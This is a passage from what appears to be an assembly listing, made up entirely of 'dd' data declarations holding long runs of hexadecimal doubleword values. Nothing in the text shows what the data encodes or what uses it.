13DD5958h, 846C8031h, 1F004432h, 944A70DCh dd 52F4A8BDh, 0F300B46Eh, 0ADE1DF60h, 1814F2E8h, 828CAA8Bh dd 576F4426h, 0E8D144B9h, 38392ABFh, 51AB0591h, 0B084EE29h dd 20AAC484h, 53F84638h, 8CA0D879h, 255EBF69h, 8A434CC8h dd 0D4679819h, 0F3109B66h, 20D7D2ADh, 0A1FEE160h, 866C626h dd 2129DC0Ch, 9606884Fh, 69515C00h, 0C149A6F5h, 546A59A4h dd 2FE04B11h, 4AD6D838h, 0BAA4A467h, 0C65E0484h, 95AE8D57h dd 83B8ADF4h, 11CAA8A9h, 51DBC351h, 0EF8180C9h, 18D81715h dd 0C5310065h, 90B41C1h, 72ECAFCAh, 9FFC0E00h, 4AB4BB9Bh dd 73D4A835h, 10099CCh, 0A702C8D3h, 59F22038h, 0BDAC6000h dd 77C4452Dh, 54402557h, 0E5801C5Bh, 0D1BE931Ch, 1971AFh dd 0CB73B897h, 36812CB1h, 5A52AA00h, 0C1343BD8h, 4D9827DEh dd 0F840D02Eh, 18CD5BC6h, 7AA03500h, 75CA43DBh, 230C00B8h dd 9E4B9AF7h, 509C8A50h, 0D3866086h, 84903B1h, 584EEB03h dd 450780A0h, 0D231C319h, 1F3AB21h, 53E6C1B1h, 0D2CF457Ah dd 84F26C60h, 5440F4BEh, 7EDA7B70h, 40B20011h, 82EA6D21h dd 14168965h, 18A0BFF0h, 0D9E545C1h, 82982CB1h, 408DFF0Eh dd 80210C0Ch, 32E7BCC2h, 0C52164h, 46B77815h, 3B00BEC9h dd 4F302ED4h, 2F0360h, 3D41B8B5h, 938FDD7Bh, 7BF5043Ch dd 0AC1C6405h, 0A83868Bh, 616FD9E9h, 0A0B38468h, 21F072B0h dd 0DB8014BCh, 0E398C48Fh, 6E4500B6h, 0A8D524CCh, 7D283455h dd 90E6A806h, 0CE148C00h, 7947074Eh, 0EB2E011Bh, 89E3BD63h dd 357091F2h, 8DE99F0Eh, 8B4B57A4h, 20779D0h, 88840769h dd 407CCAE2h, 794F158h, 32F4CC15h, 0CE59F0E5h, 0B600D503h dd 7CB1F3E1h, 0F0E23A6Ch, 712CFCB8h, 6EE6296Dh, 814700D0h dd 0A69543A9h, 178D4Ch, 7182EC15h, 0E627B1h, 0B24049B4h dd 5A30A6D7h, 0CFFD9416h, 5D437000h, 0E1A2D0h, 607CB303h dd 4B9F4A7Eh, 20144Bh, 0AB489Ah, 1E352C73h, 8C8A2297h dd 2003E76h, 0DAB1D2C3h, 24789BBAh, 40407060h, 0E091D9F6h dd 501F904h, 0B0B34D26h, 1D481502h, 14625BD8h, 9B0050E4h dd 0C8958E2Eh, 961BF86h, 67B9F71Dh, 694B9458h, 820078B7h dd 0E943C324h, 180016BAh, 68B5A13h, 0B0BD7CAFh, 26631200h dd 0BADCC4D4h, 6C5F3831h, 818471E6h, 50914B95h, 2A82285h dd 0C1D39966h, 0B090466Eh, 2C204D64h, 0B2894838h, 18CC1E96h dd 0F08A4A0Eh, 44304BA3h, 241A1E90h, 0DC86C0C0h, 593C4163h dd 0C456E807h, 7D50A0C9h, 0FEC0FDFBh, 0A57CB9CEh, 223E88D9h dd 0A14809E2h, 78926670h, 8B5BC99h, 0E6BF255Eh, 57A144C0h dd 40131917h, 0C7C12C31h, 1F00B072h, 0AA17508Dh, 4E25EDB2h dd 13C4C440h, 0EFF6E126h, 384BA707h, 2F7824E0h, 20616035h dd 703684Fh, 4401A2E0h, 43D0FFCCh, 50224D57h, 44A02B25h dd 14D16ACFh, 8126A100h, 6720D06Ch, 0E9B6050Fh, 0D8385CEBh dd 5D5E6854h, 7D2C28h, 580C9DB0h, 4CBC04C7h, 30378D20h dd 4969C92Ah, 1287BE6h, 0F413C7B6h, 94AC0310h, 144EE400h dd 0AF7F7248h, 0A0A7CD2Dh, 43BCF60Ch, 0F5700FCCh, 5F01E6C9h dd 227F53D4h, 6E250E9Ch, 34B4F607h, 8447003Eh, 0A1F4DCF7h dd 403829E6h, 0C0450515h, 508890B5h, 442B4FC3h, 0C0CBBE1Ch dd 78A3BD21h, 0C0E51F0Ah, 7743ECC3h, 154D90B5h, 0B9E7002Bh dd 60CC8DEFh, 7D0F4931h, 24EBC559h, 0CC0E670h, 39D6C78h dd 58798416h, 0E2A05AA8h, 31885F6Eh, 7B963F93h, 57E05387h dd 5E4430FAh, 45749A0Eh, 145A6C2Fh, 0CB3B2EC4h, 0A4E3044h dd 0C19D7A1Ch, 0C3E47BBCh, 0A9160302h, 170FB5FFh, 118C43B7h dd 0C8D15491h, 90B5E92Eh, 0C035DF50h, 2FFC1984h, 7E00C960h dd 2D7BE4B4h, 1445783Bh, 9489B5C5h, 90682CC8h, 2C909420h dd 268024B1h, 3603EBF0h, 0C2680915h, 745CB2B4h, 0FC2CD596h dd 0F5E200ABh, 0C9A8330Fh, 0B9001FD5h, 0C42D0495h, 1A0FD6Dh dd 4422E65Ah, 73646C96h, 67522184h, 0AAE31034h, 210991ECh dd 549D3FBAh, 0BEA02Ch, 853587E0h, 603EA569h, 91571F02h dd 7ECECD84h, 9C424FCh, 949863A2h, 4595E9C1h, 6B940368h dd 80C4CBFBh, 60A0B3D3h, 362DDE00h, 5D0F69ECh, 0FF9A2871h dd 0A2C7A008h, 95B45FCDh, 0C0A2FCh, 64C35950h, 1B8CA3Bh dd 0BD74B3BCh, 48A4DE69h, 6152B4B8h, 4DC13DC4h, 5F373A78h dd 14301C65h, 5E194h, 65AEDBBFh, 61BD7F64h, 4BD3981Dh dd 0BC745383h, 0AF95F0F9h, 912600D9h, 14BB40C8h, 0F0922A4Ah dd 0CCCA4B4Fh, 0B180123Ch, 0F1AF6BC9h, 0C0178521h, 5C22CD0Ah dd 42D8FEC1h, 78B8B9C2h, 0D9EC2B84h, 53C09E00h, 67D3E69Bh dd 0FBAE1158h, 0DFF27434h, 0C8BAE324h, 39C86614h, 988F253Bh dd 1ED9F2Ch, 371907A0h, 60904662h, 240B3290h, 80A202EEh dd 0C230F7D4h, 0BE591676h, 0E204C544h, 34160010h, 0B90B29D7h dd 748F00C6h, 0BED45C8Eh, 5D050279h, 0E3C20431h, 1958C080h dd 0E2AA04ECh, 0AA57FDE7h, 77FFDC20h, 0C8F805F0h, 0C3F9538Dh dd 55F87FD2h, 4A4AC2D3h, 7594A041h, 277EC568h, 0A5A9B05Ch dd 0DB74B50Ah, 0EF3AFF7Bh, 361300E4h, 4514A00Eh, 15382634h dd 518E0264h, 307DDEC1h, 2CCD86A0h, 8B7075B0h, 287A21F6h dd 69AF141Fh, 0A2ED7A00h, 1FF14DB4h, 49A35806h, 6C90DEC2h dd 0F0057365h, 7F7DAAB9h, 0BCBCF40Ah, 44C87717h, 0DA130708h dd 0C0E97FE4h, 1C7EC39Fh, 1421A15Eh, 18D8E351h, 32213C8h dd 74D044DAh, 58E216DDh, 0A2005822h, 97F08D49h, 39488F4Bh dd 84DC4E76h, 14E5E899h, 5FC27CACh, 288746AEh, 181C42ECh dd 4D407C7Ch, 1EDA9065h, 0FAF2D79Fh, 3D8DDD80h, 762FE884h dd 0DCA4EF19h, 0A0214B58h, 4466B420h, 485A2638h, 84612CC8h dd 0AD533616h, 4C006424h, 1EA2957Bh, 0E660057Fh, 0DD210FD5h dd 5A8B6098h, 0CCD3E500h, 9F4BB7F2h, 0ACDB5DE9h, 0D7B3C21Eh dd 2C5CD45Ch, 9AE20798h, 68161B16h, 0F809E4D3h, 0A378D0h dd 0DF73476Fh, 0BE75F342h dd 2D2470E9h, 40E49Dh, 0C08EE2D2h, 44EEDCA1h, 646FB505h dd 0A088ECAFh, 60DB41F0h, 3889E338h, 383214D5h, 0BB994302h dd 2051793Bh, 75265F81h, 3092D288h, 0DC081FBBh, 0A3DE89BDh dd 0C905C99h, 35D82CEh, 0A0BD7250h, 747BBACDh, 6FE12C41h dd 0BC642DD0h, 7255F000h, 71EDC763h, 5E1A037Ch, 50B0DF98h dd 2C596EE8h, 78A22703h, 0C193B319h, 36102428h, 0B600BBD3h dd 0DD8BE5F0h, 4C433E92h, 6D3F4F88h, 0BC2D0C4Ch, 5500A464h dd 54A348AFh, 77ABFBD0h, 0D19100CAh, 0BF6A867h, 0AD017F14h dd 3A1F1574h, 98213819h, 0FCACCC2Eh, 291E0900h, 8CC0AE8h dd 0F671B4h, 0B62D6AA7h, 340E6C3h, 2A4EE105h, 0A4227E60h dd 16107157h, 9040095Ah, 0D044E809h, 53E6C002h, 0C2C44503h dd 43C866E8h, 0FEAB20A7h, 0AC4A138Ah, 0D354EC55h, 0A466C408h dd 9F4A004Eh, 7CE3750h, 407E6300h, 3854C8Fh, 1E4B98Dh dd 0C9663AD6h, 28143A6Fh, 55631188h, 0F2562612h, 9049216Ch dd 5FC78745h, 0E75D1BD0h, 2ED22F8Ch, 88C6C481h, 0EFC0E015h dd 0B0F4354Ah, 2AD902E9h, 676CBA44h, 0C2091CF9h, 5018FEDFh dd 0CC01D0D9h, 0D4C213DAh, 21AF3275h, 0C7AC1410h, 0D72C6200h dd 529AF3D3h, 0FD28009Dh, 0BC823339h, 2000D622h, 40E87B5h dd 7DAF3B06h, 5ED7A063h, 51F67DF4h, 88783467h, 49694884h dd 0CCFA2Bh, 0F2DBC3CCh, 62C84B81h, 1A1B9302h, 0D81497BEh dd 453F270h, 0FFBB1F0Bh, 2E74E1A3h, 4EDB0002h, 549057E0h dd 17845E40h, 0B11FC14Ch, 88B8444Ch, 0FEF6943Ch, 7E01FD7Eh dd 0B4D01D44h, 0DEEECACDh, 2566C48Ch, 138094ACh, 2C41DDFCh dd 55A5DF00h, 65C6D65h, 0E07760B6h, 7674BE2Ah, 9C69D903h dd 983256ECh, 66126Dh, 61F18EE0h, 662B58Ah, 0A1A8CA17h dd 935F3C81h, 0C83DB1D1h, 0AABD7502h, 28C87B11h, 9DF4789Bh dd 2CCF44h, 13AA69CAh, 0E6AF80C5h, 0CA641D3Eh, 45708090h dd 0EC4027E0h, 0EF005079h, 0E991737Ah, 0ABD304D0h, 901814CCh dd 4852D138h, 62785751h, 4C7000FCh, 9DFA8CDAh, 0EDE0B59h dd 38BED052h, 0D827493h, 524157A7h, 63A21EDCh, 0CA5C807Bh dd 4395074Ah, 604CEE00h, 35F03603h, 4930064Eh, 613C5D6Fh dd 0C6C20716h, 46578C9h, 1819D801h, 5921EDCh, 0F6EACF77h dd 0C2FC8009h, 109FE74Bh, 0E80E8DFCh, 0BE5A14BBh, 0D118F408h dd 4F42F93Dh, 0B44D2688h, 0BB7040BCh, 604A7ED3h, 0ACCC6864h dd 5A0584B2h, 0D5E8DAA5h, 33E84BAAh, 0A7E9005h, 40ECBAF0h dd 0B07BBE63h, 16DDC27h, 3441DE70h, 7C202209h, 0CC2818BDh dd 21DD0186h, 0D497A33Bh, 2ADBF88Ch, 7D072778h, 5E3E286Eh dd 0E47FEFDFh, 0F8A03B3Ah, 3F9F895Ch, 823C0CDh, 23C8885Bh dd 5EF58h, 0D3922175h, 3E453195h, 7F24F7DEh, 5C11DCh, 6E443B8h dd 7CEDF8F5h, 0E7CFCA6h, 0ECA05D78h, 1EA40376h, 0B8C49F15h dd 0FA168010h, 0CE312Eh, 0F9DC59A4h, 7D0B3ACDh, 0C5D2300Dh dd 4463381Dh, 0C0816900h, 0E492431h, 7E72CB00h, 0F4018B36h dd 0F0C8091Bh, 0E0902ED9h, 7803A3BCh, 81FEF1F9h, 0BB60C06Dh dd 97EE1F3Ah, 0A20AC048h, 99A8CDDh, 0B513BE00h, 2772E469h dd 94C2003Dh, 0CD33E5FDh, 91A01E17h, 6600FE5Fh, 0CE4EECA1h dd 0BE4A5712h, 0B2764FBCh, 0F585008Ch, 58C1F86Eh, 9E720224h dd 0AE8D5445h, 0B7C0EC74h, 3D661Bh, 7B346E8h, 0BCE7204Eh dd 57283090h, 4FB06434h, 56261B79h, 22644454h, 8F2CA425h dd 0FF670400h, 57D7BED4h, 426600E9h, 28821E2Fh, 0CB0C6186h dd 31FBB0C2h, 0E54490F6h, 14C82A09h, 528300DCh, 0CF574B2Ah dd 4F12EC7Dh, 0F805C37Ch, 0AB852D73h, 38B3D500h, 0FED9F75Eh dd 22F41268h, 0E3A4049Ch, 69E8DCE2h, 54F9000h, 7B813F43h dd 0DA1A00D3h, 53CA70B1h, 5800714Bh, 1F0DF103h, 0FA0473Bh dd 6387CC99h, 780522A0h, 2600A759h, 215DB51Ch, 34AC12h dd 0F5ED354Ah, 4C17E6F6h, 153BA605h, 10E2F407h, 73DD7E01h dd 0C3D725DCh, 88A86C2h, 76CE82C4h, 74E44C6Ch, 8374AF4Ch dd 98BD66E6h, 0C1E3CFh, 1271D874h, 3BF54815h, 0CCE6534Eh dd 0CFA890Eh, 0BD1CF202h, 0E8D493E0h, 0F1DBEC02h, 7C596321h dd 5B2888B4h, 34D4C106h, 0B8E497A9h, 0B600177Ch, 0C42B65B9h dd 0A669EBh, 0EF154E5Eh, 7DD495B5h, 0BDA14500h, 5336C0FEh dd 0E7182F4Dh, 0AE386444h, 3B418783h, 74E0CCEDh, 26656407h dd 3DC37CBh, 9FE18590h, 8F0C67F0h, 395E3F00h, 68460B02h dd 42A40197h, 66CBF816h, 5588D06Ch, 0EF84495h, 6C902EDh dd 2F0FC09Eh, 0A039F5DEh, 69C77409h, 2644E8BFh, 0A4A5BD4Fh dd 0F438892Bh, 400D8B5h, 0C7FC8650h, 8E4548h, 6ABA4331h dd 80A94BBEh, 90F0404Eh, 273E1382h, 0EAC4FD7h, 0DFC11630h dd 18F218C9h, 6088E34Ah, 0F01412F6h, 0DF7A05F9h, 3858E007h dd 2890FF00h, 0DD013043h, 0E75F0B8Dh, 0C000BC66h, 51461034h dd 64F9AB2Ch, 79C65D60h, 0BCF025EAh, 0EC0344F1h, 0F97EA643h dd 6ACC8258h, 0FCEF019Eh, 0AC4EC50Bh, 0B0883A15h, 8050009Ah dd 8FFF4709h, 5091F67Dh, 0C061E00Eh, 93B20368h, 0BDC22F59h dd 420C1494h, 0C646EF52h, 0C14A13ACh, 0AD283457h, 0C7EC00A0h dd 0FBEF530Dh, 634C001Eh, 1BF87DC5h, 0C207F77Ah, 0A94986ACh dd 60AE5AD5h, 1074BF68h, 18A13Dh, 3E6BACCCh, 5B99DCh, 8D90EED3h dd 65B32A71h, 0D250BB02h, 0A7B51BB9h, 68F9BC0Ch, 720A3D0h dd 40655D7h, 0C2DF61F2h, 85F868DDh, 0A8CC4C57h, 0ECB0844Eh dd 7B301095h, 0E29F3E96h, 7DE99200h, 0F57381E6h, 0B9775D00h dd 501E9B9Ah, 0FC70EB8Ah, 49CD6BA4h, 0F0455061h, 0BC4F55BDh dd 1CF84C20h, 0B9753A9Fh, 0A4403803h, 0BAECBD2Dh, 0C58DE400h dd 0B5CDBE37h, 0E85CC866h, 4EE3C030h, 2B6C482Bh, 25D850E6h dd 875DA492h, 81A9FF6Ch, 0C8265E2Ch, 89134180h, 654E6EE7h dd 808DFB00h, 6463F015h, 0E4A45171h, 0BF880029h, 0A2224C64h dd 23404874h, 133DC8A0h, 2FD050h, 6BE1FECCh, 71D5499h dd 0BC42DB05h, 0D26EEC43h, 237300ECh, 3E70CB67h, 3D0B9015h dd 454926E1h, 403B07FCh, 557D203Ch, 378DFCDh, 0E490E09Fh dd 0A4205C56h, 0B281488Fh, 2E141894h, 1A998420h, 28402C0h dd 0D4C28695h, 2C19A491h, 802C3D4Ch, 62F8A388h, 0F543BE5Fh dd 38C7EC3Ch, 2365C059h, 2E00A40Ch, 5DAE676Eh, 0FC31A7h dd 0D353FF60h, 0DDF36B3Bh, 0F0483002h, 0C01F50B1h, 0FE85E4h dd 0FBAAD853h, 42A3CC86h, 9543CD3Ah, 1543F58h, 540E0B4Ah dd 0F7F0139Fh, 9D9713B9h, 6FD04952h, 0F9C0504Bh, 8FFA74ACh dd 0A2C08400h, 254EE122h, 21714E60h, 8E7CD3Ch, 384B8058h dd 0A19F25E8h, 5FCF4570h, 18F06F8h, 0D01DB3F5h, 0C0673C1Fh dd 700E9414h, 82CFC81Eh, 64CA77BDh, 336C2768h, 10014C2Bh dd 0D0C3BD1Bh, 8F7F4538h, 0F65C92B5h, 0CF8900DCh, 0A149B9F3h dd 48F82449h, 8DC219Ch, 10AF3FB4h, 0FFACD8h, 9BB9B7D9h dd 0CAAAF8A5h, 8309453Fh, 7B2A688Dh, 8CBCA4DBh, 4C484D80h dd 6900AE3Eh, 7990777Ch, 49DEC135h, 1F00C8E2h, 43D3FDB4h dd 55603A1Ch, 3704F38h, 2E9CA476h, 14A8CCD7h, 693B4449h dd 3193AC58h, 0F105E46Ch, 0DE2DCCF6h, 71A08225h, 93CA03A8h dd 6BB35A06h, 0D1F08200h, 0F96919FBh, 1C47157h, 760C0E52h dd 0F05C94CBh, 100C5A07h, 11117360h, 1E1B27D0h, 7BCF1818h dd 6138B814h, 824E8FA0h, 0C4C542D1h, 70F674h, 7EFEE8DCh dd 0F846D51Eh, 0D7FD8201h, 0A0AEA62Dh, 2742F8h, 7D98EDE2h dd 2496741Fh, 438DB500h, 4A382E7Eh, 0EEA7BF3h, 7630E43Dh dd 5BB932E1h, 844E6Ch, 3887DEF1h, 2312123h, 4FEDF2A6h dd 8C2021Eh, 0F5002CD9h, 86C942D9h, 737577A2h, 5770098Dh dd 0CCF15248h, 0C184BC10h, 0C004F8DDh, 23F8BD77h, 437F1691h dd 5D5CD09Ch, 7008EF9h, 22A5DD95h, 9DC8068h, 3BBCF6EDh dd 4210C000h, 0BD0F11E5h, 3304B94Bh, 586544E1h, 0A4B28478h dd 41573814h, 721020CEh, 23F875B7h, 0E502E81Ch, 0CEC3F6C0h dd 51457C53h, 2812A8C1h, 94851AA0h, 8034EC1Bh, 0AE90FCEh dd 30450020h, 33F6CC2Fh, 3D3BAC23h, 0C02C0156h, 596BB362h dd 70307035h, 220A884Fh, 92930703h, 0B53EF45Ah, 0E580F0E8h dd 754FC032h, 9200FAF2h, 76A281B4h, 2B8E912h, 408B608Dh dd 0C4CEBE2Ch, 0B1306C45h, 9C0B00BDh, 0AA29EA0h, 0C5E2E753h dd 0D20097F6h, 0DFCA6D0Eh, 1D3B3308h, 4202AED7h, 9D639574h dd 30790C89h, 4CBB9785h, 1631B4B4h, 206894F0h, 4F6CC1C0h dd 0E664AC03h, 220B3CB0h, 7E005291h, 90E2312Fh, 12D1119h dd 0ABCB98D4h, 5081D02Ah, 47C5DE24h, 3B1F5901h, 0A10E6645h dd 4B6C0889h, 4E42A4C4h, 68C43625h, 765FC800h, 17BB6087h dd 0D47D01DEh, 241E8A78h, 0D0223E6Ch, 5E58CA9Fh, 0C5B8CD84h dd 0A9F60009h, 0F5760BCDh, 4891C690h, 2F1B60BEh, 1B1C70E2h dd 0BB1D0133h, 72601555h, 5D851C00h, 0A737D3E1h, 0F608C28Ah dd 20E4656Fh, 8B0280A6h, 0D97D3B8Eh, 1F34DEAAh, 60BC648Dh dd 915D924Bh, 59B12200h, 991D6052h, 94F716E2h, 8080F843h dd 1720C8A9h, 34840351h, 6D96F4ADh, 6CCFF0F0h, 7DDA5E00h dd 0B8515918h, 0D7460026h, 0F3B6E78Ah, 30006898h, 0ECDFB0A9h dd 0B5CCDDC0h, 0F3D47C38h, 7B6BCB0Eh, 0DC2A806Eh, 130308E6h dd 133B4EE2h, 1B5C327Ch, 3B002819h, 262414B3h, 0F82D1CDCh dd 0E7494AACh, 0D28E002Ch, 786D16DFh, 0E54B2D4Ah, 0B7086C51h dd 0F82613D7h, 7E3A8180h, 9E23CB8h, 201E1484h, 38CC198Ch dd 35944B40h, 0FB1624C9h, 1F6C20D5h, 0E8004528h, 0ED629AD9h dd 1AA94FB9h, 50DCAEAFh, 0A08C9BDFh, 4B7331FDh, 6ED4DDBBh dd 0A4BC9035h, 534F111h, 8AE61E3Eh, 7D5AD406h, 61E4B630h dd 84C5794h, 4050ED3Ah, 0B8F35C5Eh, 40F41370h, 39510B21h dd 0FFDB2C80h, 0CF4E349Dh, 0EF10E0A4h, 0A1E0607Bh, 0E000B186h dd 7AC7BE94h, 0AEA831h, 0D002557Bh, 73E67920h, 58416422h dd 89646926h, 0CF88B42Bh, 0A05B6900h, 5C055ADDh, 1FD270FAh dd 0B1E1640Fh, 110B5339h, 282B6569h, 4B009B48h, 1051CD6Fh dd 489358Ah, 99D25DBh, 118C145Bh, 0C1013264h, 634A6C33h dd 1C206BF0h, 1CC6176h, 952E1281h, 7C5AEBD9h, 0D4B011D0h dd 884AC114h, 254CA4Bh, 9E99FFD8h, 6D989136h, 433C24F2h dd 9826A690h, 48B47915h, 16165854h, 8CF4AC07h, 16F66908h dd 66A4D9h, 0F5B5AA84h, 43059920h, 0B3CDBD12h, 0ACF03C13h dd 0B6BF4B70h, 6244264Ch, 6DE62900h, 5AA6B0Ah, 8497C06Ah dd 159C0473h, 0A460EF5Bh, 1F0BAE4Ah, 403A8C39h, 0FD7072CDh dd 481D5D8Ah, 64C46D4Fh, 0E410A5DDh, 13CD117h, 0C9663B2Ch dd 7107C8Bh, 166469D7h, 56514448h, 8C13E0E8h, 6240C84Eh dd 2D3B1D00h, 8B4838D0h, 25DE69Eh, 0B9802913h, 2BD7B079h dd 0D16405A0h, 0C8928CF8h, 11009834h, 5E6709A0h, 25BBA53Bh dd 0F0F8153Eh, 9566901Eh, 3D878C29h, 2CF733A8h, 12C113C0h dd 0E9A401F5h, 9D473AB9h, 0EAC4811h, 1DAE3261h, 903F5E90h dd 300F5228h, 433680h, 417E67B4h, 0BABC82B5h, 0D9B61509h dd 8ABCF62Eh, 83E80DB0h, 0B14E3A63h, 246A52BAh, 974064FCh dd 1F1EE5h, 5B64531h, 0E890B520h, 0DDCF2200h, 0C863C3D9h dd 0B4D1007Bh, 4CE3AD60h, 8209423Ch, 72E9C0EDh, 40789CFCh dd 0AF5FAC51h, 306D6401h, 0FFC4093Ch, 0C763A841h, 949DD808h dd 0C0630948h, 0D4C03D67h, 0BE125C07h, 0ECE4CB71h, 1E3B19AFh dd 0C92E88Ch, 0E4618AF2h, 7F1F12DBh, 0B4647090h, 73016DEEh dd 5868B6Ah, 95D493D8h, 141E0439h, 0C349B9F0h, 0FCD57C26h dd 0F54C058h, 0AA6201h, 0ED588E8Ch, 68DFC28h, 0E439CA01h dd 49176F97h, 7CFFCF40h, 141909BBh, 3091E8C2h, 4C39C7h dd 0B15D825Bh, 2DAFAA84h, 58C6BECDh, 534B4309h, 8908F634h dd 0E49AE064h, 178BD074h, 39508240h, 646800CCh, 14A9D62Ch dd 98639Ah, 0A899327Ah, 0F8ABF66Fh, 0B76200A6h, 43EBBEC9h dd 34B11AE1h, 0E922823Bh, 515988F5h, 6A033D9Ch, 935DF09Bh dd 2BEB4189h, 2D860C8h, 0AAE5CAE2h, 0B7E37516h, 8830C021h dd 0C280D655h, 501E3CF1h, 29E8011Ah, 4167C3F7h, 7B030C8h dd 98395700h, 7334F08Ch, 50891CCh, 481B01D7h, 9564E2F8h dd 4530F640h, 0AA0E06B5h, 0E5E615C0h, 14BA28E0h, 0F9036C9Ch dd 5748AE2h, 0DD106D98h, 3F049300h, 60B54637h, 0FE61F1Ah dd 30A3000Eh, 5D109235h, 0C4918125h, 27053E60h, 62B15184h dd 0D36481BAh, 896F08C5h, 1081881Fh, 464255Eh, 0A8441300h dd 0D7E566B3h, 3A678F0h, 0F81AD4AAh, 7D90428Ch, 49C0E3F6h dd 0BC756EE0h, 848E4F57h, 0C4AC0418h, 0D5F02196h, 6B221472h dd 0CFCDA212h, 86C74CC8h, 620918A0h, 263C4484h, 0B8CC4A4Fh dd 81B48E2h, 0C022EACEh, 7082CFD5h, 0AC7A4E57h, 6EB28D1Ch dd 5C4ABFD2h, 5F925040h, 449204A2h, 28684440h, 0C278C094h dd 19D999DBh, 4E00A9FCh, 3F9AC7C8h, 5597B2h, 0CD7C928Bh dd 0E814EF0Dh, 1F84E01h, 177969B8h, 0F290C8h, 0FEDE27FDh dd 8DCA618h, 0CFA3E401h, 0C62B0985h, 0BE3AD0h, 3B7F5C2Fh dd 0C0B76643h, 0CD332E1Eh, 95E28Fh, 0E901492Ah, 9BC30C58h dd 3A408E8Bh, 86C04B10h, 0DCD2E300h, 61409F6Bh, 4A7FF303h dd 1CD18E7h, 0DFDACE61h, 8094A5C3h, 91BFCF10h, 0D31C53h dd 576B50Ah, 588C2355h, 0E20B400h, 6FC301BEh, 3A1E7D09h dd 0DCC8FDCDh, 972F7160h, 89C0A5BAh, 8D4F2DDEh, 65903A60h dd 939D2403h, 988BA640h, 7FDD7100h, 1C42A5C8h, 1AF11E36h dd 0EC234088h, 4A012806h, 0CB1BCA18h, 32C366B1h, 22805BDEh dd 0A6123819h, 0EA836481h, 4C01C458h, 0E4E89B07h, 0F060132Eh dd 0A4CA2409h, 151E0B0h, 1FC547C0h, 0F3FEB183h, 80414A99h dd 0F6B66549h, 0AB8E9B96h, 2DC3E0D0h, 35D0CFF2h, 32F0A70h dd 9700D038h, 4DB5079h, 8540C714h, 562DC1DAh, 3CCE182h dd 344DFB88h, 3089D4C2h, 63518E88h, 13183107h, 4910C6FCh dd 0C31CED36h, 95DF7DF4h, 838819B1h, 969ACF78h, 0B1990DE7h dd 0F0498246h, 0CA0A98Ch, 0B688864Fh, 0B7030C93h, 9CE81288h dd 0C311DC88h, 0B65D64B1h, 0D6E76DF0h, 9C930600h, 5711F7D5h dd 1D317299h, 0C09ABAC1h, 5304C944h, 7A006380h, 64BCA097h dd 24F1223Eh, 184C090Ch, 8843E886h, 0A748582h, 0EB1D8C20h dd 0B99800ACh, 2C540925h, 0E0C46802h, 0CB3196E5h, 0DB5A00C8h dd 200E507Ch, 12F514C9h, 6924C8B0h, 0FB4A04A8h, 14FA4A17h dd 2E831609h, 6A04840h, 2109E12Fh, 8E154300h, 0EE931222h dd 51AC0306h, 3F84F0F6h, 0A4B19BE2h, 24640844h, 604C1AE5h dd 4A8EDDEBh, 0F1218966h, 0FA5A2190h, 1EA3E308h, 0D051372Fh dd 0CDB31B48h, 0B6004E98h dd 9C80C8Eh, 0C468BE19h, 2B955B0h, 10177CDCh, 0A27348F6h dd 972CA11Bh, 5A510FD4h, 60205C2Eh, 48B6D877h, 2A1C560h dd 14D2764h, 6F73FF6Eh, 0BF0DE12Bh, 0AFD38051h, 0AE94EA62h dd 0ADF686h, 9AB76854h, 0A0457E4Ah, 93126E98h, 0EC41CEC1h dd 55360924h, 8D5CF8h, 93032D7Bh, 11F06554h, 94C14B2Ah dd 99248100h, 5BE3DAD4h, 0C5501EECh, 974842F2h, 0AC91B48Ch dd 0DC23E245h, 7699000Ch, 0FB363161h, 0D90279CBh, 0C4943421h dd 0F0A44839h, 9380A059h, 3C208AB5h, 3E7C1604h, 0E7B98100h dd 0A213F237h, 24B2E8FAh, 64803B93h, 200F2255h, 0BDE134B0h dd 0CD10B304h, 0B4C13FECh, 0DD010419h, 8C298026h, 32E33927h dd 0C48803DEh, 153BB7C5h, 0B19728C0h, 0B41DE826h, 8EC40169h dd 38448D46h, 2900241Eh, 0C9DA53Ch, 7DF5014Ch, 5E9F1888h dd 2061C96Ah, 6C865224h, 819939EFh, 90EEF440h, 88CC390Ch dd 0AA722D82h, 74646797h, 110B20A1h, 7980AB2Fh, 0DF4A1FD5h dd 0EF1D5E83h, 2D49D04h, 0ACFDCAF8h, 743950h, 9C17CDB4h dd 4C159697h, 52B9F01h, 0DB6C9302h, 604B1430h, 0EFDC31BFh dd 0ED02A826h, 3E3C2CE6h, 0B2D84078h, 7F7563h, 1DE468F3h dd 2174AD1Eh, 113898B0h, 0E0800023h, 4C04CF83h, 7F761F0Ch dd 5FB800F6h, 0A1422213h, 332F8DA0h, 0B29B9000h, 6C4897ACh dd 0B4E207C0h, 0EA93B32Eh, 0CCBC64F4h, 4B88B08Ch, 888F8AC2h dd 0E529F2E1h, 4C6360E7h, 0BEEB04Ch, 282BB7Dh, 0C448DA0Ch dd 21F60EACh, 0FF1EFC69h, 0D7F9CD80h, 5B811AB0h, 0F0F2B70Ch dd 0C847188h, 83A6FA59h, 3F046A11h, 61D61F7Eh, 302094C2h dd 0DA8B8756h, 667E1011h, 0E162C3E0h, 11B8BFD9h, 0B6ED1056h dd 0E0DE0061h, 325BB8Bh, 3F0CC03Dh, 0C0A5637Dh, 0F9AF602Fh dd 0BC1FBE5Dh, 80D02C3Ah, 0E4B0A5DDh, 30AC9046h, 4A083DB8h dd 62FB5E91h, 0C02004Ch, 0D960C95Dh, 2F970FF4h, 6A6788FBh dd 5B48434Dh, 6100ADCBh, 298A7801h, 1292AE9Dh, 8B09EF5h dd 446413BCh, 2C096541h, 0A75424DDh, 0FB0060B1h, 80FE484Ah dd 0ADA50213h, 950AC9D4h, 0A201E468h, 98305B89h, 0B74D0AB6h dd 62BC0DF9h, 0C8C0C141h, 99C0A291h, 0B0EF3FC4h, 0AE59261Dh dd 0CDA69070h, 604C29F1h, 99020092h, 0A50430F2h, 0A22423E0h dd 0CD01BCD7h, 66C35BE8h, 0C41EA823h, 0D9964322h, 82B5E349h dd 9A22FC18h, 20E68Dh, 82138B93h, 25F6B240h, 9890A09h dd 0A6B41020h, 7A39C0FDh, 1339EEA4h, 0AE0A8E14h, 0B88710A4h dd 9A8A4788h, 293E4491h, 6512844Eh, 0A151481h, 8B876600h dd 161ADC12h, 0F3B73042h, 519C98F7h, 9AA630FBh, 0CD150511h dd 0E0DCBA00h, 0F964D647h, 95D10017h, 29FD41D9h, 4EB82D5Ch dd 0C8C8EE5Ch, 1768B23Bh, 20884226h, 9B251BC1h, 581498h dd 0DC12EB49h, 0B1780EA4h, 10901BE4h, 628C250h, 2BF11045h dd 99F04865h, 92A40430h, 80978EC7h, 830C8F49h, 34D58100h dd 0B624A020h, 